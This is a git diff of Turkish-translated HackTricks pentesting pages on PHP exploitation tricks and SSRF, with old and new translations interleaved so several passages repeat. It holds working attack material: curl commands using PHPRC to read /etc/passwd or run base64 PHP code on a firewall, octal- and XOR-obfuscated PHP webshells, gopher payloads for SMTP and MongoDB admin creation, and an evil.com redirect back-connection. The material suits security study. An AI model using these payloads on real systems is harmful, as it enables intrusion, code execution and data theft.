Eğer PHP'de **çevre değişkenlerini değiştirmenize izin veren bir zayıflık bulursanız** (ve başka bir dosya yükleme zayıflığı da bulursanız, ancak daha fazla araştırma ile bunun atlatılabileceği belki), bu davranışı **RCE** elde etmek için kötüye kullanabilirsiniz.
|
||||
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Bu env değişkeni, diğer ikili dosyaları çalıştırırken keyfi kütüphaneleri yüklemenize izin verir (ancak bu durumda işe yaramayabilir).
|
||||
- **`PHPRC`** : PHP'ye **yapılandırma dosyasını nerede bulacağını** söyler, genellikle `php.ini` olarak adlandırılır. Kendi yapılandırma dosyanızı yükleyebiliyorsanız, o zaman, PHP'yi bu dosyaya yönlendirmek için `PHPRC`'yi kullanın. İkinci yüklenen bir dosyayı belirten **`auto_prepend_file`** girdisini ekleyin. Bu ikinci dosya, normal **PHP kodunu içerir ve ardından diğer kodlardan önce PHP çalışma zamanı tarafından çalıştırılır**.
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Bu çevre değişkeni, diğer ikili dosyaları çalıştırırken keyfi kütüphaneleri yüklemenize izin verir (ancak bu durumda işe yaramayabilir).
|
||||
- **`PHPRC`** : PHP'ye **yapılandırma dosyasını nerede bulacağını söyler**, genellikle `php.ini` olarak adlandırılır. Kendi yapılandırma dosyanızı yükleyebiliyorsanız, o zaman `PHPRC`'yi ona işaret etmek için kullanın. İkinci yüklenen bir dosyayı belirten **`auto_prepend_file`** girdisini ekleyin. Bu ikinci dosya normal **PHP kodunu içerir, ardından diğer kodlardan önce PHP çalışma zamanı tarafından yürütülür**.
|
||||
1. Kabuk kodumuzu içeren bir PHP dosyası yükleyin
|
||||
2. İkinci adımda yüklediğimiz dosyayı çalıştırmak için PHP ön işlemcisine talimat veren bir ikinci dosya yükleyin, **`auto_prepend_file`** yönergesi
|
||||
3. `PHPRC` değişkenini adım 2'de yüklediğimiz dosyaya ayarlayın.
|
||||
- Bu zinciri nasıl çalıştıracağınız hakkında daha fazla bilgi edinin [**orijinal rapordan**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
2. İkinci adımda yüklediğimiz dosyayı yürütmesi için PHP ön işleyicisine talimat veren bir ikinci dosya yükleyin, **`auto_prepend_file`** yönergesi içerir
|
||||
3. `PHPRC` değişkenini ikinci adımda yüklediğimiz dosyaya ayarlayın.
|
||||
- Bu zinciri nasıl yürüteceğiniz hakkında daha fazla bilgi edinin [**orijinal rapordan**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
- **PHPRC** - başka bir seçenek
|
||||
- Eğer **dosya yükleyemiyorsanız**, FreeBSD'de "file" `/dev/fd/0`'ı kullanabilirsiniz, bu **`stdin`'i** içeren bir dosyadır, `stdin`'e gönderilen isteğin **gövdesi**:
|
||||
- Eğer **dosya yükleyemiyorsanız**, FreeBSD'de "dosya" `/dev/fd/0`'ı kullanabilirsiniz, bu **`stdin`** içeren bir **`stdin`'e gönderilen isteğin gövdesi**:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
- Veya RCE elde etmek için **`allow_url_include`**'ı etkinleştirin ve **base64 PHP kodu** içeren bir dosyayı öne ekleyin:
|
||||
- Veya RCE almak için **`allow_url_include`**'ı etkinleştirin ve **base64 PHP kodu** içeren bir dosyayı öne ekleyin:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
- Teknik [**bu rapordan**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
||||
|
||||
## PHP Statik Analiz
|
||||
## PHP Statik analiz
|
||||
|
||||
Bu fonksiyonlara çağrılar içine kod ekleyip ekleyemediğinizi kontrol edin ([buradan](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
|
||||
Bu fonksiyonlara çağrılarda kod ekleyip ekleyemediğinizi kontrol edin ([buradan](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
|
||||
```php
|
||||
exec, shell_exec, system, passthru, eval, popen
|
||||
unserialize, include, file_put_cotents
|
||||
|
@ -299,11 +307,11 @@ PHP kodunu deobfuscate etmek için **web**[ **www.unphp.net**](http://www.unphp.
|
|||
|
||||
## PHP Wrapper'lar ve Protokoller
|
||||
|
||||
PHP Wrapper'lar ve protokoller, bir sistemin yazma ve okuma korumalarını **atlaymanıza** ve onu tehlikeye atmanıza olanak tanıyabilir. [**Daha fazla bilgi için bu sayfaya**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols) **bakın.**
|
||||
PHP Wrapper'lar ve protokoller, bir sistemin yazma ve okuma korumalarını **atlayarak** tehlikeye atabilir. [**Daha fazla bilgi için bu sayfaya bakın**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
|
||||
## Xdebug kimlik doğrulamasız RCE
|
||||
|
||||
Eğer bir `phpconfig()` çıktısında **Xdebug**'in **etkin** olduğunu görürseniz, RCE elde etmek için [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) adresini denemelisiniz.
|
||||
Eğer bir `phpconfig()` çıktısında **Xdebug**'in **etkin** olduğunu görürseniz, [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) üzerinden RCE almaya çalışmalısınız.
|
||||
|
||||
## Değişken değişkenler
|
||||
```php
|
||||
|
@ -319,7 +327,7 @@ echo "$x ${Da}"; //Da Drums
|
|||
```
|
||||
## Yeni $\_GET\["a"]\($\_GET\["b"] kullanarak RCE suiistimali
|
||||
|
||||
Eğer bir sayfada **keyfi bir sınıfın yeni bir nesnesini oluşturabiliyorsanız**, RCE elde edebilirsiniz, nasıl yapılacağını öğrenmek için aşağıdaki sayfayı kontrol edin:
|
||||
Eğer bir sayfada **herhangi bir sınıfın yeni bir nesnesini oluşturabiliyorsanız**, RCE elde edebilirsiniz, nasıl yapılacağını öğrenmek için aşağıdaki sayfayı kontrol edin:
|
||||
|
||||
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
||||
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
||||
|
@ -329,13 +337,13 @@ Eğer bir sayfada **keyfi bir sınıfın yeni bir nesnesini oluşturabiliyorsan
|
|||
|
||||
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
|
||||
|
||||
### Sekizli kullanım
|
||||
### Sekizliği kullanarak
|
||||
```php
|
||||
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
|
||||
```
|
||||
### **XOR**
|
||||
|
||||
XOR (Mantıksal Bağlaç) işlemi, iki bit dizisi arasında gerçekleştirilen bir işlemdir. XOR işlemi, iki bitin değeri farklı ise 1, aynı ise 0 döndürür. Bu işlem, veri şifreleme ve karşılaştırma işlemlerinde sıkça kullanılır.
|
||||
XOR (Exclusive OR) işlemi, iki bitin değerlerine göre gerçekleşen bir mantıksal işlemdir. XOR işlemi, yalnızca girdilerden biri 1 olduğunda 1 üretir. Bu işlem, veri şifreleme ve karşılaştırma gibi birçok alanda kullanılır.
|
||||
```php
|
||||
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
|
||||
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
|
||||
|
@ -424,14 +432,14 @@ $___($_[_]); // ASSERT($_POST[_]);
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.**
|
||||
* **Hacking hilelerinizi paylaşarak PR'ler göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**The PEASS Family**]'yi keşfedin(https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,17 +6,17 @@
|
|||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
|
||||
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,16 +24,30 @@ HackTricks'ı desteklemenin diğer yolları:
|
|||
|
||||
### SSRF PHP fonksiyonları
|
||||
|
||||
**file\_get\_contents(), fopen(), file(), md5\_file()** gibi bazı fonksiyonlar, **kullanıcının veriyi kontrol edebildiği durumlarda** giriş olarak URL'leri kabul eder ve takip ederken **mümkün olan SSRF zafiyetlerine** neden olabilirler:
|
||||
**file\_get\_contents(), fopen(), file(), md5\_file()** gibi bazı fonksiyonlar, **kullanıcının veriyi kontrol edebildiği durumlarda** giriş olarak URL'leri kabul eder ve takip ederken **mümkün olan SSRF zafiyetlerine** neden olabilir.
|
||||
```php
|
||||
file_get_contents("http://127.0.0.1:8081");
|
||||
fopen("http://127.0.0.1:8081", "r");
|
||||
file("http://127.0.0.1:8081");
|
||||
md5_file("http://127.0.0.1:8081");
|
||||
```
|
||||
### Wordpress SSRF via DNS Rebinding
|
||||
|
||||
[**Bu blog yazısında açıklandığı gibi**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf), hatta Wordpress fonksiyonu **`wp_safe_remote_get`** DNS rebinding'e karşı savunmasız olabilir, bu da onu SSRF saldırılarına karşı potansiyel olarak savunmasız hale getirir. Çağırdığı ana doğrulama **wp\_http\_validate\_ur**l fonksiyonudur, bu fonksiyon protokolün `http://` veya `https://` olduğunu ve portun **80**, **443** ve **8080**'den biri olduğunu kontrol eder, ancak **DNS rebinding'e karşı savunmasızdır**.
|
||||
|
||||
Blog yazısına göre diğer savunmasız fonksiyonlar şunlardır:
|
||||
|
||||
- `wp_safe_remote_request()`
|
||||
- `wp_safe_remote_post()`
|
||||
- `wp_safe_remote_head()`
|
||||
- `WP_REST_URL_Details_Controller::get_remote_url()`
|
||||
- `download_url()`
|
||||
- `wp_remote_fopen()`
|
||||
- `WP_oEmbed::discover()`
|
||||
|
||||
### CRLF
|
||||
|
||||
Ayrıca, bazı durumlarda önceki fonksiyonlardaki CRLF "zafiyetleri" aracılığıyla keyfi başlıklar göndermek bile mümkün olabilir:
|
||||
Dahası, bazı durumlarda önceki fonksiyonlardaki CRLF "zafiyetleri" aracılığıyla keyfi başlıklar göndermek hatta mümkün olabilir:
|
||||
```php
|
||||
# The following will create a header called from with value Hi and
|
||||
# an extra header "Injected: I HAVE IT"
|
||||
|
@ -70,21 +84,20 @@ $file = file_get_contents($url, false, $context);
|
|||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
|
||||
<summary><strong>Sıfırdan Kahraman'a AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizle**](https://opensea.io/collection/the-peass-family) tanışın
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
|
||||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**.
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -3,21 +3,21 @@
|
|||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun.\
|
||||
Bugün Erişim Alın:
|
||||
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun.\
|
||||
Bugün Erişim Edinin:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Sıfırdan Kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
|
||||
</details>
|
||||
|
@ -42,7 +42,7 @@ Yapmanız gereken ilk şey, sizin tarafınızdan oluşturulan bir SSRF etkileşi
|
|||
|
||||
## Beyaz Listelenen Alanlar Geçme
|
||||
|
||||
Genellikle SSRF'nin yalnızca **belirli beyaz listelenen alanlarda** veya URL'de çalıştığını göreceksiniz. Aşağıdaki sayfada, o beyaz listeyi atlatmaya çalışmak için **derlenmiş teknikler** bulunmaktadır:
|
||||
Genellikle SSRF'nin yalnızca **belirli beyaz listelenen alanlarda** veya URL'de çalıştığını göreceksiniz. Aşağıdaki sayfada, o beyaz listeyi atlatmaya çalışmak için bir **derleme teknik bulunmaktadır**:
|
||||
|
||||
{% content-ref url="url-format-bypass.md" %}
|
||||
[url-format-bypass.md](url-format-bypass.md)
|
||||
|
@ -50,23 +50,23 @@ Genellikle SSRF'nin yalnızca **belirli beyaz listelenen alanlarda** veya URL'de
|
|||
|
||||
### Açık yönlendirmayla Atlatma
|
||||
|
||||
Sunucu doğru şekilde korunuyorsa, bir web sayfası içindeki bir Açık Yönlendirme'yi sömürerek **tüm kısıtlamaları atlayabilirsiniz**. Çünkü web sayfası **aynı alan adına SSRF'ye izin verecek** ve muhtemelen **yönlendirmeleri takip edecektir**, **Sunucunun iç herhangi bir kaynağa erişmesini sağlamak için Açık Yönlendirme'yi sömürebilirsiniz**.\
|
||||
Sunucu doğru şekilde korunuyorsa, web sayfası içindeki bir Açık Yönlendirme'yi sömürerek **tüm kısıtlamaları atlayabilirsiniz**. Çünkü web sayfası **aynı alan adına SSRF'ye izin verecek** ve muhtemelen **yönlendirmeleri takip edecektir**, **Sunucunun iç herhangi bir kaynağa erişmesini sağlamak için Açık Yönlendirme'yi sömürebilirsiniz**.\
|
||||
Daha fazla bilgi için buraya bakın: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
|
||||
|
||||
## Protokoller
|
||||
|
||||
* **file://**
|
||||
* `file://` URL şeması, doğrudan `/etc/passwd`'ye işaret eder: `file:///etc/passwd`
|
||||
* `file://` URL şeması, doğrudan `/etc/passwd`'ye işaret eden bir örnekleme: `file:///etc/passwd`
|
||||
* **dict://**
|
||||
* DICT URL şeması, DICT protokolü aracılığıyla tanımlar veya kelime listelerine erişim için kullanıldığı belirtilir. Verilen bir örnek, belirli bir kelimeyi, veritabanını ve giriş numarasını hedefleyen oluşturulmuş bir URL'i ve bir PHP betiğinin, saldırgan tarafından sağlanan kimlik bilgilerini kullanarak bir DICT sunucusuna bağlanmak için potansiyel olarak yanlış kullanıldığı bir örneği gösterir: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||
* DICT URL şeması, DICT protokolü aracılığıyla tanımlar veya kelime listelerine erişim için kullanıldığı şekilde açıklanmıştır. Verilen bir örnekte, belirli bir kelimeyi, veritabanını ve giriş numarasını hedefleyen oluşturulmuş bir URL ve bir PHP betiğinin, saldırgan tarafından sağlanan kimlik bilgilerini kullanarak bir DICT sunucusuna bağlanmak için potansiyel olarak yanlış kullanıldığı bir örnek verilmiştir: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||
* **SFTP://**
|
||||
* Güvenli dosya transferi için bir protokol olarak tanımlanırken, bir PHP betiğinin nasıl kötüye kullanılabileceğini gösteren bir örnek sunulur: `url=sftp://generic.com:11111/`
|
||||
* Güvenli kabuk üzerinden güvenli dosya transferi için bir protokol olarak tanımlanan bir örnek, bir PHP betiğinin kötü niyetli bir SFTP sunucusuna bağlanmak için nasıl sömürülebileceğini göstermektedir: `url=sftp://generic.com:11111/`
|
||||
* **TFTP://**
|
||||
* UDP üzerinden çalışan Trivial File Transfer Protocol, bir PHP betiğinin bir TFTP sunucusuna istek göndermek için tasarlandığı bir örnekle belirtilir. 'generic.com' üzerinde '12346' portuna 'TESTUDPPACKET' dosyası için bir TFTP isteği yapılır: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||||
* UDP üzerinden çalışan Trivial File Transfer Protocol, bir PHP betiğinin bir TFTP sunucusuna istek göndermek için tasarlandığı bir örnek ile belirtilmiştir. 'generic.com' üzerinde '12346' portuna 'TESTUDPPACKET' dosyası için bir TFTP isteği yapılır: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||||
* **LDAP://**
|
||||
* Bu bölüm, IP ağları üzerinden dağıtılmış dizin bilgi hizmetlerini yönetmek ve erişmek için kullanılan Hafif Dizin Erişim Protokolü'nü kapsar. Localhost'taki bir LDAP sunucusuyla etkileşim: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
|
||||
* Bu bölüm, IP ağları üzerinde dağıtılmış dizin bilgi hizmetlerini yönetmek ve erişmek için kullanılan Hafif Dizin Erişim Protokolü'nü kapsamaktadır. Localhost'taki bir LDAP sunucusuyla etkileşim: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
|
||||
* **SMTP**
|
||||
* Dahili etki alanı adlarını ortaya çıkarmak için SMTP hizmetleriyle etkileşim kurmak için SSRF zafiyetlerini nasıl sömüreceğiniz açıklanmaktadır. Bu bilgiler temel alınarak iç etki alanı adlarını ortaya çıkarmak ve bu bilgilere dayalı daha fazla araştırma adımları atmak için adımlar içerir.
|
||||
* Dahili alan adlarını ortaya çıkarmak için SMTP hizmetleriyle etkileşim kurmak için SSRF zafiyetlerini sömürmek için bir yöntem açıklanmaktadır ve bu bilgiler temel alınarak daha fazla araştırma adımları atılmaktadır.
|
||||
```
|
||||
From https://twitter.com/har1sec/status/1182255952055164929
|
||||
1. connect with SSRF on smtp localhost:25
|
||||
|
@ -75,7 +75,7 @@ From https://twitter.com/har1sec/status/1182255952055164929
|
|||
4. connect
|
||||
```
|
||||
* **Curl URL globbing - WAF bypass**
|
||||
* Eğer SSRF **curl** tarafından yürütülüyorsa, curl'ün [**URL globbing**](https://everything.curl.dev/cmdline/globbing) adında bir özelliği vardır ve bu özellik WAF'leri atlatmak için kullanışlı olabilir. Örneğin bu [**yazıda**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) **`file` protokolü aracılığıyla yol geçişi** için bir örnek bulabilirsiniz:
|
||||
* Eğer SSRF **curl** tarafından yürütülüyorsa, curl'ün [**URL globbing**](https://everything.curl.dev/cmdline/globbing) adında bir özelliği vardır ve bu özellik WAF'leri atlatmak için kullanışlı olabilir. Örneğin bu [**makalede**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) **`file` protokolü aracılığıyla yol geçişi** için bir örnek bulabilirsiniz:
|
||||
```
|
||||
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||||
```
|
||||
|
@ -108,7 +108,7 @@ QUIT
|
|||
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
|
||||
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
|
||||
```
|
||||
**Gopher SMTP — 1337'e geri bağlantı yapın**
|
||||
**Gopher SMTP — 1337'e geri bağlantı oluşturma**
|
||||
|
||||
{% code title="redirect.php" %}
|
||||
```php
|
||||
|
@ -119,7 +119,7 @@ https://example.com/?q=http://evil.com/redirect.php.
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Gopher MongoDB -- Kullanıcı oluştur username=admin password=admin123 ve izin=administrator olarak
|
||||
#### Gopher MongoDB -- Kullanıcı oluştur username=admin, password=admin123 ve izin=administrator ile
|
||||
```bash
|
||||
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
|
||||
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
|
||||
|
@ -130,7 +130,7 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
|
|||
```
|
||||
## Referrer başlığı aracılığıyla SSRF ve Diğerleri
|
||||
|
||||
Sunuculardaki analiz yazılımları genellikle gelen bağlantıları izlemek için Referrer başlığını kaydeder, bu uygulamaları yanlışlıkla Sunucu Tarafı İstek Sahtekarlığı (SSRF) açıklarına maruz bırakır. Bu, çünkü bu tür yazılımlar, Referer başlığında belirtilen harici URL'leri analiz etmek için ziyaret edebilir. Bu açıkları ortaya çıkarmak için Burp Suite eklentisi "**Collaborator Everywhere**" önerilir, analiz araçlarının Referer başlığını işleme şeklini kullanarak potansiyel SSRF saldırı yüzeylerini belirlemek.
|
||||
